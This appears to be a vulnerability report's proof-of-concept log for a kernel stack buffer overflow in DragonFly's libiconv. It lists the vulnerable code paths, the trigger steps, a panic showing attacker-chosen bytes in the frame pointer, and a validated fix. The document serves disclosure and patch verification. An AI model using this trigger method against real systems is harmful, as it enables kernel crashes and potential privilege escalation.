DF-2234 PoC evidence -- runtime log (assembled from verbatim session captures)

SETUP: findings/poc/pushrig.sh ; Guest DragonFly 6.5-DEVELOPMENT X86_64_GENERIC
(INVARIANTS), kernel modules are built -fno-stack-protector (no canary),
kern.iconv.cslist is CTLFLAG_RD (readable by ANY user), kern.iconv.add writes
are gated by caps_priv_check(SYSCAP_NOSYSCTL_WR) -> root only
(sys/kern/kern_sysctl.c:1444-1448).

=============================================================================
PHASE 1 -- boundary proof on STOCK /boot/kernel/libiconv.ko

 # kldload libiconv
 # /root/rig2234/addtest 30            (root)
 addtest namelen=30: sysctl=0 errno=0 (ok) csid=3
 # /root/rig2234/addtest 31            (root)
 addtest namelen=31: sysctl=-1 errno=22 (Invalid argument) csid=-1
 $ /home/maxx/addtest 30               (unprivileged user maxx)
 addtest namelen=30: sysctl=-1 errno=1 (Operation not permitted) csid=-1

=> the sysctl-add path bounds names to <= 30 chars and is root-only;
   the overflow is NOT reachable by registering long names as an
   unprivileged user on this tree.

PHASE 2 -- control read (unprivileged, stock module, no long pair):

 $ /home/maxx/csread                    (user maxx, uid 1001)
 cslist: sysctl=0 errno=0 bytes=240
   id=1 base=0 ref=0 to=[UTF-16BE] from=[UTF-8]
   id=2 base=0 ref=0 to=[UTF-8] from=[UTF-16BE]
   id=3 base=0 ref=0 to=[TTTTTTTTTTTTTTTTTTTTTTTTTTTTTT] from=[FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]

=============================================================================
PHASE 3 -- TRIGGER (baseline):

 # kldload /root/rig2234/longcs.ko
 longcs: registered 200-byte charset names        (dmesg)
 (longcs calls the exported iconv_add("UTF-16BE", <200 x A>, <200 x B>) --
  iconv_register_cspair performs NO length validation, iconv.c:179-216)

 $ /home/maxx/csread                    (SAME unprivileged user)
 <syscall never returns -- guest panics>

serial console (findings/poc/DF-2234/panic.txt):
    Fatal trap 9: general protection fault while in kernel mode
    cpuid = 3; lapic id = 3
    instruction pointer = 0x8:0xffffffff826005d7      (libiconv.ko text)
    stack pointer       = 0x10:0xfffff80117f7b7a0
    frame pointer       = 0x10:0x4242424242424242     <-- 'B' x 8 !!
    current process     = 1408
    Stopped at      iconv_sysctl_cslist+0xf7:       ret

Reading: strcpy(csi.cs_from, csp->cp_from) copied the 200-byte registered
name over the 31-byte cs_from field, smashed saved RBP with 0x42 bytes and
the ret in iconv_sysctl_cslist trapped.  Kernel stack buffer overflow,
triggered by an UNPRIVILEGED read of a CTLFLAG_RD sysctl, with the bytes
and length fully chosen by whoever registered the pair.

Note the trigger needs no output buffer: sysctl_old_user()
(sys/kern/kern_sysctl.c:1321-1345) returns 0 and only bumps oldidx when
req->oldptr == NULL, so the walk (and the strcpy pair) executes during the
sizing pass of ANY read of kern.iconv.cslist.

=============================================================================
FIX VALIDATION -- sys/libiconv/iconv.c patched with fix.diff
(strlen bound in iconv_register_cspair + strlcpy in iconv_sysctl_cslist),
module rebuilt from patched tree as libiconvfix4.ko:

 === A: longcs against FIXED module (expect load FAILURE, EINVAL):
 kldload /root/rig2234/longcs.ko
 longcs: iconv_add failed: 22
 module_register_init: MOD_LOAD (longcs, ffffffff82604000, 0) error 22
 --> the 200-char pair is never registered.

 === B: boundary still correct:
 addtest namelen=30: sysctl=0 errno=0 (ok) csid=3
 addtest namelen=31: sysctl=-1 errno=22 (Invalid argument) csid=-1

 === C: unprivileged read of cslist (expect clean, no crash):
 $ /home/maxx/csread
 cslist: sysctl=0 errno=0 bytes=240
   id=1 base=0 ref=0 to=[UTF-16BE] from=[UTF-8]
   id=2 base=0 ref=0 to=[UTF-8] from=[UTF-16BE]
   id=3 base=0 ref=0 to=[TTTTTTTTTTTTTTTTTTTTTTTTTTTTTT] from=[FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]

 --> bit-identical listing to the baseline control (Phase 2); no panic.

BASELINE vs FIXED:
 baseline: unpriv read -> Fatal trap 9, RBP = 0x4242424242424242,
           Stopped at iconv_sysctl_cslist+0xf7: ret.
 fixed   : registration of over-long names rejected with EINVAL; legitimate
           pairs listed unchanged; strlcpy caps any residual copy at 31
           bytes (defense in depth).
